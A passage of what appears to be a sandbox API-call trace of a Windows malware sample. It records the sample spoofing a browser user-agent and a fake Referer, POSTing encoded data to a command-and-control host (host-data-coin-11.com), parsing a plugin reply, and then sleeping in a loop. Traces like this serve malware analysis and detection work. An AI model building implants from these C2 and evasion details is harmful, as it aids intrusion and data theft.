Seed=0x410e9e | out: Seed=0x410e9e) returned 0xd98dcd60 [0238.604] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x7ea1723e [0238.604] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xdf7f9bd [0238.604] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xa5e7e5b0 [0238.604] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x1cfb3d57 [0238.604] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x70a810e4 [0238.604] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x157fee73 [0238.604] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x34c46bef [0238.604] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xb476b967 [0238.604] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xe469d3c [0238.604] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x5b1ccd7 [0238.604] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x3ee14f37 [0238.604] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x152afc2f [0238.604] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x84d650e0 [0238.604] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x3452aa3f [0238.604] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x6b7927c4 [0238.604] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x35cf837f [0238.604] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x37ef4580 [0238.605] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x5a7c60e1 [0238.605] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xb923e2d1 [0238.605] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x246d7263 [0238.605] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x6d3e210a [0238.605] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x5df917fb [0238.605] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xe5f8420d [0238.605] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xe34907cd [0238.605] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x434628ab [0238.605] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x87342122 [0238.605] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x4d632cf3 [0238.605] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xf04e37b0 [0238.605] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x199ac222 [0238.605] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x80744d62 [0238.605] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x3dc83205 [0238.605] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x8ac798e8 [0238.605] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x6d72313c [0238.605] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x7564d3ba [0238.605] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xf529be5f [0238.605] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xa93694e9 [0238.605] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x3c16ccca [0238.605] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xdbb10aa0 [0238.605] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x5673e018 [0238.605] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x4c2f872c [0238.605] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xe5bb8369 [0238.605] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x121ad185 [0238.605] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x5155e248 [0238.605] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xb78ee432 [0238.605] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xba6e3c32 [0238.606] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x21c48d1a [0238.606] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x58c56ed3 [0238.606] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x12962f5d [0238.606] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x918f233b [0238.606] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xaa13c55b [0238.606] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x2f700d15 [0238.606] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xd8d5e717 [0238.606] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x49e8fec8 [0238.606] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xe5dfb93f [0238.606] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x7205e9e9 [0238.606] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xbf16483c [0238.606] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x71f698ad [0238.606] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x5670cc51 [0238.606] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xe2307de6 [0238.606] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x456c4b1e [0238.606] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x46432209 [0238.606] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x28cfd24c [0238.606] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x190d79b3 [0238.606] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x8f19877b [0238.606] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xa36da91 [0238.606] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xa8e9cae3 [0238.606] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x661c579b [0238.606] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xc1b4ee7a [0238.606] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xd72bffa6 [0238.606] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xc980d7c1 [0238.606] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xe37f1087 [0238.606] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x3a648953 [0238.606] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xf29a39ba [0238.606] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x1fd5acdd [0238.607] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x58aa9649 [0238.607] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x8d2d1fad [0238.607] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x55a29c3b [0238.607] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x6fe872c8 [0238.607] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x1fc19174 [0238.607] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x78761189 [0238.607] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x547a74d4 [0238.607] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x5a676b48 [0238.607] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x6b3e9dfa [0238.607] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xeda11af4 [0238.607] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xe06b8360 [0238.607] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x9cd74b2c [0238.607] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xcf553136 [0238.607] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x61685906 [0238.607] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x8996048 [0238.607] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x64d9c84a [0238.607] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xa42aca18 [0238.607] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x4ce0a094 [0238.607] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x2f4668bc [0238.607] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xc2c04a81 [0238.607] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x7de4337d [0238.607] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xe6564ea5 [0238.607] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xc22f5f8b [0238.607] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xda15ae5d [0238.607] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xccafefb9 [0238.607] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x97ccc45a [0238.608] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x1d814c31 [0238.608] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xa58e28e3 [0238.608] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xac6ae87c [0238.608] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x1bdb9762 [0238.608] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x9817b54 [0238.608] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x363d3f20 [0238.608] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x47700074 [0238.608] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xec5b9b1b [0238.608] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x50a69a56 [0238.608] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xc06d5cf9 [0238.608] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xc4dc0b42 [0238.608] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x78d7f693 [0238.608] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xca25e2dd [0238.608] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x8df3ee1c [0238.608] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xca5c7522 [0238.608] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x2a9ce782 [0238.608] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x4649abb4 [0238.608] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x51b29b37 [0238.608] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x625c89c1 [0238.608] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x54f594b5 [0238.608] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x3a4b7566 [0238.608] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xaf150343 [0238.608] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xea294b2f [0238.608] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xd8fecae8 [0238.608] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x6d3747c4 [0238.608] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xefdd276d [0238.608] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x8958e24e [0238.608] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x1663f716 [0238.608] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x79542ed8 [0238.609] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x17ad9bf3 [0238.609] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xa75a6948 [0238.609] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x75185cff [0238.609] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x85b1f3d2 [0238.609] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x701d28e3 [0238.609] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x955534d [0238.609] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x288135da [0238.609] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xe70f87a9 [0238.609] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xf5a3f5bb [0238.609] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x13f) returned 0x91419d0 [0238.609] lstrcatA (in: lpString1="", lpString2="FE7F15060B875FB9FB2A49F08D5D03120C287F38" | out: lpString1="FE7F15060B875FB9FB2A49F08D5D03120C287F38") returned="FE7F15060B875FB9FB2A49F08D5D03120C287F38" [0238.609] lstrcatA (in: lpString1="", lpString2="XC64ZB" | out: lpString1="XC64ZB") returned="XC64ZB" [0238.609] lstrcatA (in: lpString1="", lpString2="pub1" | out: lpString1="pub1") returned="pub1" [0238.609] lstrcatA (in: lpString1="", lpString2="fe[kVIkE/wJX'\\^`DC-#hphW&sFg\\h$sjjbiIwK:T;'W0j+J+p\"/ytcF/TH@m^\"PSF=t;Xv.a\"\"2BMjuA/\"m#k\"R)Yk_(h/om'6VdZ.V9XN!f$/-NG8rFDFZ1p;'BYXVm`*CaqO=#D\\U%G(WB9vD&R7EW+A^b^gsPpq^_I!?pAr1sD6Ol]wRFZ1p;'BYXVm`*CaqO=#D\\U%G(WB9vD&R7EW+A^b^gsPpq^_I!?pAr1sD6Ol]wRFZ1p;'BYXVm`*CaqO=#D\\U%G(WB9vD&R7EW+A^b^gsPpq^_I!?pAr1sD6Ol]wR9[i9c4]*yjB+t=_'>y?" | out: lpString1="$Yj`X*4.`Zw9[i9c4]*yjB+t=_'>y?") returned="$Yj`X*4.`Zw9[i9c4]*yjB+t=_'>y?" [0252.857] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x10c) returned 0x9141b00 [0252.857] lstrlenA (lpString="http://host-data-coin-11.com/") returned 29 [0252.857] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x9141840, cbMultiByte=30, lpWideCharStr=0x9141b00, cchWideChar=60 | out: lpWideCharStr="http://host-data-coin-11.com/") returned 30 [0252.857] WinHttpGetIEProxyConfigForCurrentUser (in: pProxyConfig=0x1004fc18 | out: pProxyConfig=0x1004fc18) returned 1 [0252.872] WinHttpOpen (pszAgentW="Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko", dwAccessType=0x0, pszProxyW=0x0, pszProxyBypassW=0x0, dwFlags=0x0) returned 0x8656080 [0252.872] WinHttpCrackUrl (in: pwszUrl="http://host-data-coin-11.com/", dwUrlLength=0x0, dwFlags=0x0, lpUrlComponents=0x1004fcd0 | out: lpUrlComponents=0x1004fcd0) returned 1 [0252.873] WinHttpConnect (hSession=0x8656080, pswzServerName="host-data-coin-11.com", nServerPort=0x50, dwReserved=0x0) returned 0x86aa1e0 [0252.873] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x12) returned 0x9140760 [0252.873] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x68) returned 0x9140780 [0252.873] WinHttpOpenRequest (hConnect=0x86aa1e0, pwszVerb="POST", pwszObjectName="/", pwszVersion=0x0, pwszReferrer=0x0, ppwszAcceptTypes=0x0, dwFlags=0x0) returned 0x579d360 [0252.873] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x4e) returned 0x9141c20 [0252.873] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x10d) returned 0x9141c80 [0252.873] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x53623b0e [0252.873] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x12) returned 0x91407f0 [0252.873] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x17) returned 0x9140810 [0252.873] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xeb9a12fa [0252.873] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xfe6490a8 [0252.873] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x2289818b [0252.873] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x3d6af381 [0252.873] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0x51322908 [0252.873] RtlRandom (in: Seed=0x410e9e | out: Seed=0x410e9e) returned 0xdb8097c [0252.873] wsprintfW (in: param_1=0x9141c80, param_2="Accept: */*\r\nReferer: http://%S%s/" | out: param_1="Accept: */*\r\nReferer: http://voeak.net/") returned 39 [0252.942] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9140810) returned 0x17 [0252.942] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9140810) returned 1 [0252.942] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x91407f0) returned 0x12 [0252.942] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x91407f0) returned 1 [0252.942] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9141c20) returned 0x4e [0252.942] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9141c20) returned 1 [0253.034] WinHttpAddRequestHeaders (hRequest=0x579d360, pwszHeaders="Accept: */*\r\nReferer: http://voeak.net/", dwHeadersLength=0xffffffff, dwModifiers=0x20000000) returned 1 [0253.034] WinHttpSendRequest (hRequest=0x579d360, lpszHeaders="Content-Type: application/x-www-form-urlencoded", dwHeadersLength=0x0, lpOptional=0x91419c0*, dwOptionalLength=0x125, dwTotalLength=0x125, dwContext=0x0) returned 1 [0254.545] WinHttpReceiveResponse (hRequest=0x579d360, lpReserved=0x0) returned 1 [0254.545] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x2800) returned 0x9145db0 [0254.546] WinHttpReadData (in: hRequest=0x579d360, lpBuffer=0x9145db0, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fd88 | out: lpBuffer=0x9145db0*, lpdwNumberOfBytesRead=0x1004fd88*=0x18) returned 1 [0254.547] RtlReAllocateHeap (Heap=0x9140000, Flags=0x8, Ptr=0x9145db0, Size=0x5000) returned 0x9145db0 [0254.547] WinHttpReadData (in: hRequest=0x579d360, lpBuffer=0x9145dc8, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x1004fd88 | out: lpBuffer=0x9145dc8*, lpdwNumberOfBytesRead=0x1004fd88*=0x0) returned 1 [0254.547] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x460000 [0254.549] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9145db0) returned 1 [0254.551] WinHttpCloseHandle (hInternet=0x579d360) returned 1 [0254.551] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9141c80) returned 0x10d [0254.552] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9141c80) returned 1 [0254.552] WinHttpCloseHandle (hInternet=0x86aa1e0) returned 1 [0254.553] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9140780) returned 0x68 [0254.553] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9140780) returned 1 [0254.553] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9140760) returned 0x12 [0254.553] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9140760) returned 1 [0254.553] WinHttpCloseHandle (hInternet=0x8656080) returned 1 [0254.553] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9141b00) returned 0x10c [0254.553] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9141b00) returned 1 [0254.554] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x91418d0) returned 0xdf [0254.554] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x91418d0) returned 1 [0254.554] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x91419c0) returned 0x12e [0254.554] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x91419c0) returned 1 [0254.554] lstrlenA (lpString="ä\x070|:|plugin_size=0") returned 19 [0254.554] RtlAllocateHeap (HeapHandle=0x9140000, Flags=0x8, Size=0x15) returned 0x9140760 [0254.554] lstrlenA (lpString="0|:|plugin_size=0") returned 17 [0254.554] lstrlenA (lpString="plugin_size") returned 11 [0254.554] atoi (_Str="0") returned 0 [0254.554] lstrlenA (lpString="0|:|plugin_size=0") returned 17 [0254.555] lstrlenA (lpString="|:|") returned 3 [0254.555] MapViewOfFile (hFileMappingObject=0x1ee0, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x9150000 [0254.561] lstrcatA (in: lpString1="", lpString2="plugin_size=0" | out: lpString1="plugin_size=0") returned="plugin_size=0" [0254.561] NtUnmapViewOfSection (ProcessHandle=0xffffffffffffffff, BaseAddress=0x9150000) returned 0x0 [0254.591] atoi (_Str="0") returned 0 [0254.591] VirtualFree (lpAddress=0x460000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0254.592] RtlSizeHeap (HeapHandle=0x9140000, Flags=0x0, MemoryPointer=0x9141840) returned 0x26 [0254.593] RtlFreeHeap (HeapHandle=0x9140000, Flags=0x0, BaseAddress=0x9141840) returned 1 [0254.593] CreateFileW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\wvhwbfa" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\wvhwbfa"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff [0254.593] Sleep (dwMilliseconds=0x258) [0254.595] Sleep (dwMilliseconds=0x258) [0254.596] Sleep (dwMilliseconds=0x258) [0254.598] Sleep (dwMilliseconds=0x258) [0254.599] Sleep (dwMilliseconds=0x258) [0254.601] Sleep (dwMilliseconds=0x258) [0254.603] Sleep (dwMilliseconds=0x258) [0254.604] Sleep (dwMilliseconds=0x258) [0254.606] Sleep (dwMilliseconds=0x258) [0254.608] Sleep (dwMilliseconds=0x258) [0254.609] Sleep (dwMilliseconds=0x258) [0254.611] Sleep (dwMilliseconds=0x258) [0254.613] Sleep (dwMilliseconds=0x258) [0254.614] Sleep (dwMilliseconds=0x258) [0254.616] Sleep (dwMilliseconds=0x258) [0254.618] Sleep (dwMilliseconds=0x258) [0254.619] Sleep (dwMilliseconds=0x258) [0254.621] Sleep (dwMilliseconds=0x258) [0254.623] Sleep (dwMilliseconds=0x258) [0254.625] Sleep (dwMilliseconds=0x258) [0254.626] Sleep (dwMilliseconds=0x258) [0254.630] Sleep (dwMilliseconds=0x258) [0254.632] Sleep (dwMilliseconds=0x258) [0254.634] Sleep (dwMilliseconds=0x258) [0254.635] Sleep (dwMilliseconds=0x258) [0254.637] Sleep (dwMilliseconds=0x258) [0254.639] Sleep (dwMilliseconds=0x258) [0254.640] Sleep (dwMilliseconds=0x258) [0254.642] Sleep (dwMilliseconds=0x258) [0254.644] Sleep (dwMilliseconds=0x258) [0254.645] Sleep (dwMilliseconds=0x258) [0254.647] Sleep (dwMilliseconds=0x258) [0254.648] Sleep (dwMilliseconds=0x258) [0254.650] Sleep (dwMilliseconds=0x258) [0254.652] Sleep (dwMilliseconds=0x258) [0254.654] Sleep (dwMilliseconds=0x258) [0254.655] Sleep (dwMilliseconds=0x258) [0254.657] Sleep (dwMilliseconds=0x258) [0254.659] Sleep (dwMilliseconds=0x258) [0254.660] Sleep (dwMilliseconds=0x258) [0254.662] Sleep (dwMilliseconds=0x258) [0254.664] Sleep (dwMilliseconds=0x258) [0254.666] Sleep (dwMilliseconds=0x258) [0254.669] Sleep (dwMilliseconds=0x258) [0254.672] Sleep (dwMilliseconds=0x258) [0254.673] Sleep (dwMilliseconds=0x258) [0254.676] Sleep (dwMilliseconds=0x258) [0254.678] Sleep (dwMilliseconds=0x258) [0254.680] Sleep (dwMilliseconds=0x258) [0254.683] Sleep (dwMilliseconds=0x258) [0254.685] Sleep (dwMilliseconds=0x258) [0254.687] Sleep (dwMilliseconds=0x258) [0254.688] Sleep (dwMilliseconds=0x258) [0254.690] Sleep (dwMilliseconds=0x258) [0254.691] Sleep (dwMilliseconds=0x258) [0254.693] Sleep (dwMilliseconds=0x258) [0254.694] Sleep (dwMilliseconds=0x258) [0254.696] Sleep (dwMilliseconds=0x258) [0254.697] Sleep (dwMilliseconds=0x258) [0254.699] Sleep (dwMilliseconds=0x258) [0254.702] Sleep (dwMilliseconds=0x258) [0254.704] Sleep (dwMilliseconds=0x258) [0254.818] Sleep (dwMilliseconds=0x258) [0254.821] Sleep (dwMilliseconds=0x258) [0254.822] Sleep (dwMilliseconds=0x258) [0254.823] Sleep (dwMilliseconds=0x258) [0254.825] Sleep (dwMilliseconds=0x258) [0254.827] Sleep (dwMilliseconds=0x258) [0254.829] Sleep (dwMilliseconds=0x258) [0254.830] Sleep (dwMilliseconds=0x258) [0254.832] Sleep (dwMilliseconds=0x258) [0254.833] Sleep (dwMilliseconds=0x258) [0254.835] Sleep (dwMilliseconds=0x258) [0254.837] Sleep (dwMilliseconds=0x258) [0254.838] Sleep (dwMilliseconds=0x258) [0254.840] Sleep (dwMilliseconds=0x258) [0254.841] Sleep (dwMilliseconds=0x258) [0254.843] Sleep (dwMilliseconds=0x258) [0254.845] Sleep (dwMilliseconds=0x258) [0254.847] Sleep (dwMilliseconds=0x258) [0254.848] Sleep (dwMilliseconds=0x258) [0254.851] Sleep (dwMilliseconds=0x258) [0254.853] Sleep (dwMilliseconds=0x258) [0254.856] Sleep (dwMilliseconds=0x258) [0254.858] Sleep (dwMilliseconds=0x258) [0254.859] Sleep (dwMilliseconds=0x258) [0254.862] Sleep (dwMilliseconds=0x258) [0254.863] Sleep (dwMilliseconds=0x258) [0254.865] Sleep (dwMilliseconds=0x258) [0254.866] Sleep (dwMilliseconds=0x258) [0254.868] Sleep (dwMilliseconds=0x258) [0254.870] Sleep (dwMilliseconds=0x258) [0254.871] Sleep (dwMilliseconds=0x258) [0254.873] Sleep (dwMilliseconds=0x258) [0254.874] Sleep (dwMilliseconds=0x258) [0254.876] Sleep (dwMilliseconds=0x258) [0254.878] Sleep (dwMilliseconds=0x258) [0254.880] Sleep (dwMilliseconds=0x258) [0254.882] Sleep (dwMilliseconds=0x258) [0254.883] Sleep (dwMilliseconds=0x258) [0254.886] Sleep (dwMilliseconds=0x258) [0254.887] Sleep (dwMilliseconds=0x258) [0254.889] Sleep (dwMilliseconds=0x258) [0254.890] Sleep (dwMilliseconds=0x258) [0254.891] Sleep (dwMilliseconds=0x258) [0254.894] Sleep (dwMilliseconds=0x258) [0254.895] Sleep (dwMilliseconds=0x258) [0254.898] Sleep (dwMilliseconds=0x258) [0254.899] Sleep (dwMilliseconds=0x258) [0254.901] Sleep (dwMilliseconds=0x258) [0254.903] Sleep (dwMilliseconds=0x258) [0254.904] Sleep (dwMilliseconds=0x258) [0254.906] Sleep (dwMilliseconds=0x258) [0254.907] Sleep (dwMilliseconds=0x258) [0254.909] Sleep (dwMilliseconds=0x258) [0254.911] Sleep (dwMilliseconds=0x258) [0254.912] Sleep (dwMilliseconds=0x258) [0254.914] Sleep (dwMilliseconds=0x258) [0254.915] Sleep (dwMilliseconds=0x258) [0254.918] Sleep (dwMilliseconds=0x258) [0254.920] Sleep (dwMilliseconds=0x258) [0254.922] Sleep (dwMilliseconds=0x258) [0254.924] Sleep (dwMilliseconds=0x258) [0254.925] Sleep (dwMilliseconds=0x258) [0254.927] Sleep (dwMilliseconds=0x258) [0254.929] Sleep (dwMilliseconds=0x258) [0254.931] Sleep (dwMilliseconds=0x258) [0254.932] Sleep (dwMilliseconds=0x258) [0254.934] Sleep (dwMilliseconds=0x258) [0254.935] Sleep 